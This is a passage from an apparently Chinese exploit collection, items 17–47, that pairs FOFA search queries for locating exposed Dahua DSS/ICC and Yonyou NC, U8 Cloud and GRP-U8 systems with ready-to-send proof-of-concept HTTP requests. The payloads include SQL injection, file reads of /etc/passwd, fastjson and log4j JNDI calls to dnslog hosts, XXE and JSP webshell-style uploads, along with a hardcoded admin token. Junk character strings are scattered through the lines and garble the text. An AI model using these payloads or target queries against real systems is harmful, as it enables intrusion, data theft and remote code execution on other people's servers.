9 i$ N2 ?# [8 r& X# @3 \8 {Accept-Language: en
Accept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
+ @# F7 o. U0 L7 ~% {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ p5 s- q" y: j9 R5 z2 Q; xConnection: close
Content-Length: 345
Accept-Encoding: gzip

5 {8 l; I, ?1 A<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
# f3 |" W& Z3 ~& ~9 {. [3 O. d! F, w<s11:Body>
8 u" x' ^5 j1 k$ g. s  p% [2 E    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
8 B: F8 v4 V  X* C* ?       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
+ q5 [0 D, U) \3 Q, \4 n  Q      </netMarkings>
    </ns1:deleteBulletin>
* {2 F  u' P& U- w1 P& p  </s11:Body>
; N$ T+ \8 u" f1 F9 [2 V' _  ~</s11:Envelope>
: `5 L" q! y6 x3 u% R  h; T1 i" z

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
5 z3 \8 P; [6 Y7 t: vFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
: z/ }, D$ x# c( r: P! hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
" ?9 S4 T2 J% P8 P8 t2 Z) JConnection: keep-alive


; z0 n% `( o0 K3 _' y* E% |
4 }: o' S, ~0 A/ Y; Y1 i- `" G+ ]19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
  m7 o0 c5 E, g4 V3 OFOFA：app="dahua-DSS"
) [" `) n; R; ^. ZGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
' W8 E- R% l' u$ I0 rUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

' e2 F# x6 \+ x/ i- K8 s2 f
20. 大华ICC智能物联综合管理平台任意文件读取
. r* @0 _* P6 {7 kFOFA：body="*客户端会小于800*"
3 c+ u8 s; Z5 @# `) @( H& BGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
# K* l3 U/ {0 C7 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
; K! |9 K! J, t$ Y" RAccept: */*
1 l2 I' z" _, K- j) ~7 LAccept-Language: en
6 h; ^- A& w* l) `0 RAccept-Encoding: gzip

( m4 z' J7 [3 Q8 n- M7 M" ?6 D
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
$ Q/ e+ d3 d4 _; b2 m2 f1 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
  k0 u' N+ C6 VContent-Type: application/json;charset=utf-8

{
" `4 p1 z$ @" F4 d( |/ f( O"a":{
: C$ }5 T9 k  e. x1 S& q/ S   "@type":"com.alibaba.fastjson.JSONObject",
1 }/ G+ n! G0 M3 m( X& F    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
: W* C: j$ a4 z1 C/ c  }""
0 [7 M5 I; x3 P# j8 z}
' r" X* }6 B: n4 k0 C/ j0 I! ]
1 B+ t' c# P( m/ y3 b
8 ?% `2 A2 |+ g3 n3 r6 h22. 大华ICC智能物联综合管理平台 log4j远程代码执行
% r9 [8 C3 q4 l/ o+ q$ d* |: @FOFA：icon_hash="-1935899595"
( J4 |) G. |4 V9 {/ ?POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
2 T% D2 _8 w& k; x- JHost: your-ip
& ?/ I9 D, n5 S7 b& u! {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 D  H& r2 ^  l0 Q6 eContent-Type: application/json;charset=utf-8
/ F2 r0 X/ g% l; m- @7 ^
{
"loginName":"${jndi:ldap://dnslog}"
}
7 t( c& i1 }* l% R' n

: u) f" N) o7 f" q" R2 J* H
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
0 U! v* h+ ]  w- uPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
* e- R2 Q! |1 a9 g+ }Accept-Encoding: gzip
' X( {8 o5 E6 k7 e+ vConnection: close
& r. ]& e3 S# m8 n4 \. x: u
$ Y' l' D) x  Y4 h* j8 E9 }6 ^: m{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
( N4 n6 u' K! F+ X) N        }""
# b1 N9 V$ T+ s  J! n}
( U% v. ?. p7 a) j0 k. N+ O2 q5 \
- Q+ [5 ~/ V9 W3 t( _( _# X
/ u. L& ]& K# ]5 M0 F+ u1 B24. 用友NC 6.5 accept.jsp任意文件上传
' s5 j4 m; Y1 l+ A$ A: _( [6 sFOFA：icon_hash="1085941792"
) ^! E- l9 F1 y0 ^# tPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 v; r, q/ h0 j4 D2 V9 K$ yConnection: close
5 Q# q/ O1 A5 f9 n6 VContent-Length: 449
Accept: */*
Accept-Encoding: gzip
, a% B) |8 F4 L+ `Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
9 i' w0 ?$ C) Z+ f& E2 U. h: Q
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
$ n+ F/ ?$ [# p- d! mContent-Type: text/plain
- M* y9 q& J1 ^: N2 l, Y
8 p, W' b% O/ G  d- b  `4 w8 x<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
* D3 |9 J# M) ?1 qContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
! c- T0 P7 c9 c" L/ x# P" n

5 G. K# R* s: P- w25. 用友NC registerServlet JNDI 远程代码执行
5 K( o! b, s4 ^, U$ N9 C1 bFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
; W# E, @$ I* o$ ~& {6 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
2 s& c5 y( y7 ?: d% ]1 }- dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
: a0 C( G/ w4 ]+ V+ W- Z$ ]Accept-Encoding: gzip, deflate
/ U$ I* h; a! N( {Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

0 D/ r  ~* `- @& g- w6 H9 g6 etype=1&dsname=ldap://dnslog

, \; q3 {5 i- c  U+ o( F

26. 用友NC linkVoucher SQL注入
) }3 Z8 |3 B' t  k0 uFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! [* O. h$ D" {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# V+ B0 H6 ^9 m+ }5 oContent-Type: application/x-www-form-urlencoded
' d8 o2 k6 {1 i2 X) c6 XAccept-Encoding: gzip, deflate
Accept: */*
0 I& d& `( p% c' {$ h0 s3 JConnection: keep-alive


27. 用友 NC showcontent SQL注入
& r" H* Y) E3 H& S$ H- \FOFA：icon_hash="1085941792"
( T0 k. N* B) [GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
& \9 b' J0 F' t4 s) V9 d; zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
. X; N/ I6 `8 JContent-Type: text/xml; charset=utf-8
" Y0 |% Y3 X% ~% ^) b- C* y: T7 Q
7 W0 B; s, l7 N; M
* l7 O6 D! P: r1 {28. 用友NC grouptemplet 任意文件上传
3 h9 ~' t( k8 v8 C; r' P, yFOFA：icon_hash="1085941792"
7 f) @, ~) b0 l: m( }POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
/ K% p5 m& f/ ]' d
. |* `, A; z: |4 ~% H. Z$ S<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
) k9 D2 L  W7 a3 D. c, Z& [( l------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp

: O% D$ Z$ q  c2 `29. 用友NC down/bill SQL注入
3 {# t9 @( z3 e/ HFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- P* x  M9 B/ K( S1 ~GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! W: `3 s9 h: {+ |- ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" u! l" |; N+ O) x3 X3 UAccept-Encoding: gzip, deflate
8 ]$ }! I2 G# g  EAccept: */*
5 \! C3 _# H  [5 m: ~4 o8 oConnection: keep-alive
- L+ L5 o7 N! b- I: K2 r7 M
9 _; K& Z- j1 |) n! G$ @
6 H% `, @) x! Z9 X+ ^" _) v3 I) W30. 用友NC importPml SQL注入
/ n1 D4 s9 L1 y$ sFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
* F5 n, A' O: _# Y& O  yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 m  P/ I0 E4 N3 Z) aConnection: close
! ^5 [/ ?7 ]$ b4 p! m
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
; z% D: h/ y' T3 ~, SContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


2 K: V. v0 T! ~31. 用友NC runStateServlet SQL注入
: r/ I% g% @, h; O3 ?* t5 Pversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
0 `0 w! g8 F) h3 e) CGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
7 i2 m4 B5 c- N- g5 b" I! xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 h" C( K7 }2 V! _! ~& \

1 a! Q0 `" r  W32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
8 U% _' S% r$ E' \* ~FOFA：app="用友-UFIDA-NC"
+ G; `- ?/ }) d& ^4 ~" Y! BGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 }  i: C2 Q; e$ FContent-Type: application/x-www-form-urlencoded
! C0 z6 ]) l( L* G0 L. OAccept-Encoding: gzip, deflate
Accept: */*
5 D9 v1 k* I; x! `Connection: keep-alive
7 o4 ^7 m6 m4 ~; D$ R0 r
$ }! W7 y/ J7 c) T1 q. ^3 \
7 v% Y& [- F. Z9 u33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' L5 u/ G' J" p* u8 BContent-Type: application/x-www-form-urlencoded
0 A, {- H' ?: [9 s: H3 ?: X8 XAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
8 \5 Z7 T; Y8 l3 ^; W4 E
% U; [" s% H% c$ [
9 X# o3 \- m# t0 Z  q) T% r$ v34. 用友NC warningDetailInfo接口SQL注入
" Q( V; I5 l& j* E% cFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
' x7 f3 g# ?4 ^1 qAccept: */*
Connection: keep-alive


( q( w4 w: b# d, V1 r35. 用友NC-Cloud importhttpscer任意文件上传
" h; ^% `8 E" K; ^$ ~FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
/ L/ k. X/ G& ^: _+ OHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
( Y. z# J4 Y& yContent-Length: 190
' f- g" u+ J8 Q6 X! @& dContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
, U# j1 i" P* L# `$ f" R' `3 s! T
--fd28cb44e829ed1c197ec3bc71748df0
$ c6 i4 E! a9 ^Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

! o  H0 j9 x" m; ^<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
1 `5 `3 P- o$ y) }( @, mFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
. T: Y7 x+ L# m0 RHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ l) B- K1 D2 b: u5 \0 _9 }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
0 ]3 I. X; u( z0 r: WContent-Type: application/x-www-form-urlencoded
1 V4 H& l  f# tUpgrade-Insecure-Requests: 1
0 g" R( D5 N0 [: K9 u: r% K% m6 l
' Q6 I( ^9 S4 ^msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


( ~$ n  \7 t& G  z37. 用友NC-Cloud IUpdateService XXE
  |) x# @5 P6 |FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 N4 x) y1 v& G9 \6 PPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: W. w- a0 y3 H# s# H3 u+ M' ?  `Content-Length: 421
+ M  G5 d/ F* z3 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 e7 h: A) ^; L$ g9 G) eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% ]3 V% Q) L0 t/ `  j! ^Connection: close
( L9 B. [5 p5 J" `0 v' fContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
$ i) \$ L! j0 ^/ o4 w+ TUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
  j( p' T$ R7 a3 m$ Z<soapenv:Header/>
1 T5 ]0 p* P) R0 x<soapenv:Body>
<iup:getResult>
<!--type: string-->
5 |2 d4 i, T( u9 s<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
7 g' d* z' N5 X' g<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
2 @8 E, M0 u9 s1 u+ J8 a
: \  Y& E: U; D# j$ m, f% r# W

! |  M, c0 u2 e8 C) \, n. ?8 n0 b38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
9 \& k" Z' Y# O+ nPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
5 w3 T# [* t' x) N$ O, g; Q5 T. h/ aHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
- @, ^: U' I. Q( E! N/ B5 }5 y1 vContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

. _) [3 \- u/ g0 B, z6 H__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
/ B, ~. j( F4 i
) T" M7 w& _8 ~& a5 c% L
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
0 }4 o' I+ K7 I- x: a' q& ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
+ ~& C8 m# F. P7 N7 n# w( q; J4 g7 lContent-Length: 85
Accept: */*
% l3 B  `3 S- A' A- u5 o7 xAccept-Language: en
Content-Type: application/x-www-form-urlencoded
7 Z: [* h& x6 IX-Forwarded-For: 127.0.0.1
4 \; A) K9 i$ A, nAccept-Encoding: gzip
  N' U2 o7 U$ M' ~4 R) w4 L, i2 E
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
  A5 s2 y3 ~0 s( v
) O6 `8 R1 }( _6 Z3 r1 D
! q# I1 N" I6 v" {40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
7 }# Y! H7 H( Y, rUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- C7 r, ~7 z: v0 ?* E* t& sContent-Type: text/xml
Connection: close

" ~% @- f; E* X<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


; K7 q* x1 x, `& \5 d; ?41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
" _/ W! ~& n7 [, A+ UAccept-Encoding: gzip
Connection: close
- i/ r' b# D1 [

42. 用友GRP-U8 SmartUpload01 文件上传
; k/ ]8 E+ @- D+ UFOFA：app="用友-GRP-U8"
7 |2 x9 O  X4 n; x2 zPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
0 w7 R) e5 w1 m9 r. j, jContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
' S7 {1 J3 z: u( S3 D1 C" c

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

% {1 b6 b: r/ z2 k43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 _4 v' G; H) [- x) YFOFA：app="用友-GRP-U8"
5 G2 G* T' C! W- F' MPOST /services/userInfoWeb HTTP/1.1
, `2 v6 L( j& k" W- z1 }Host: your-ip
4 g) d4 W. j8 V& S3 F0 r, mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" A7 l6 m9 b  ~$ T3 L; P5 C2 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( M# a" @% W* T4 j, S4 e7 `/ cAccept-Language: zh-CN,zh;q=0.9
7 V5 O3 [3 x- B% p6 \5 B# G3 JConnection: close
% t9 [; i% S6 u$ ?8 A' V" \* `SOAPAction:
Content-Type: text/xml;charset=UTF-8

1 b0 I) e* {6 g, d<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
( h( b" x! U8 A( ^   <soapenv:Header/>
" j$ I. j+ p9 a1 \6 N, L, V, r6 S   <soapenv:Body>
# a% n4 x& K/ d$ Q6 i      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>

: C( T9 P' ~: A1 n( v' \4 T7 ~
- {# [* E' B8 G- l2 v/ }8 r44. 用友GRP-U8 bx_dj_check.jsp SQL注入
) ~! L4 K! [! J0 R2 G& TFOFA:app="用友-GRP-U8"
; x6 r* n1 o! h* UGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
* r+ i2 C7 s" x1 }# [3 k3 a  a2 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 W; ?' O1 Y* }- g! EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
/ j) H% [' e, |7 d( }& M1 O
- X  k+ T: l$ [  t0 h" r
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
$ f  M2 C9 c9 X! iPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
; K) y9 p% p4 ~+ R% Z( {Connection: close
6 f- y3 E/ m7 ~, W1 X1 D0 LContent-Length: 161
6 z% D4 E9 X' _4 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 V+ p4 ^$ [' o" c8 m/ NContent-Type: application/x-www-form-urlencoded
4 A8 N, [5 s/ r& y8 u" D: [Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


9 v) \! |( M8 J# \9 x" h' h  Z46. 用友GRP-U8 sqcxIndex.jsp SQL注入
: F/ \% L( R, k2 sFOFA：app="用友-GRP-U8"
0 Y2 j3 P9 e7 n% BGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
& O- e6 y$ P. K* h7 l# o3 ?Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ L. H/ q5 z# E$ H( j$ BAccept-Language: zh-CN,zh;q=0.9
4 P/ p! P1 @; v# u% E& t9 [2 WConnection: close
$ z( X3 E" K) ]; S- d
5 R$ o9 F/ T! W
8 O6 {. H9 B* b, u" @/ P47. 用友GRP A++Cloud 政府财务云 任意文件读取
3 a& v! @$ s9 k$ ~FOFA：body="/pf/portal/login/css/fonts/style.css"
" T1 t/ c2 u& P; f7 o5 k$ zGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
( N# y/ n, P( Z2 O8 B/ FHost: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
* P3 j+ o; s0 S' L1 F; iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
1 o) y% V1 ^% ^0 A3 g9 h# BIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
